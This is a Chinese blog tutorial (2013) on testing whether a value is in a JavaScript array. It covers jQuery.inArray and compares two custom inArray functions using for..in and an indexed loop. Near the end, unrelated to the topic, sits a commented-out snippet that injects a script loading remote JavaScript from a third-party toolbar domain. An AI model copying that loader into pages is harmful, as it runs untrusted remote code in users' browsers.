您的位置:首页 > Web前端 > JavaScript

JS-inArray检查数组中是否存在某个值

2013-01-10 10:20 204 查看
我们经常会用到这个一样逻辑,判断一个字符串或者数字是否在数组内,很多程序语言都有这样一样专门的函数,比如PHP的in_array()。那么JS有木有呢,很遗憾,JS木有这样的函数,于是想到伟大的JQ是否封装了这个函数,找到了API,JQ的确封装了这个函数

jQuery.inArray( value, array ) 搜索数组中指定值并返回它的索引(如果没有找到则返回-1)。

value要搜索的值。

array一个数组,通过它来搜索。

当然,处于学习,自己也去写了这样的函数,有2种代码可以实现,第一种:

function inArray1(needle,array,bool){
if(typeof needle=="string"||typeof needle=="number"){
for(var i in array){
if(needle===array[i]){
if(bool){
return i;
}
return true;
}
}
return false;
}
}


第二种:

function inArray2(needle,array,bool){
if(typeof needle=="string"||typeof needle=="number"){
var len=array.length;
for(var i=0;i<len;i++){
if(needle===array[i]){
if(bool){
return i;
}
return true;
}
}
return false;
}
}


三个参数,在array中查找needle,bool为布尔量,如果为true则返回needle在array中的位置,那么就会有人问,到底用哪个比较 好,在性能方便,如果array数组不是很大,2则无太大的差别,如果array数组很大,则第二种速度更快一点,for..in的遍历的确比for要慢 很多。

// (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: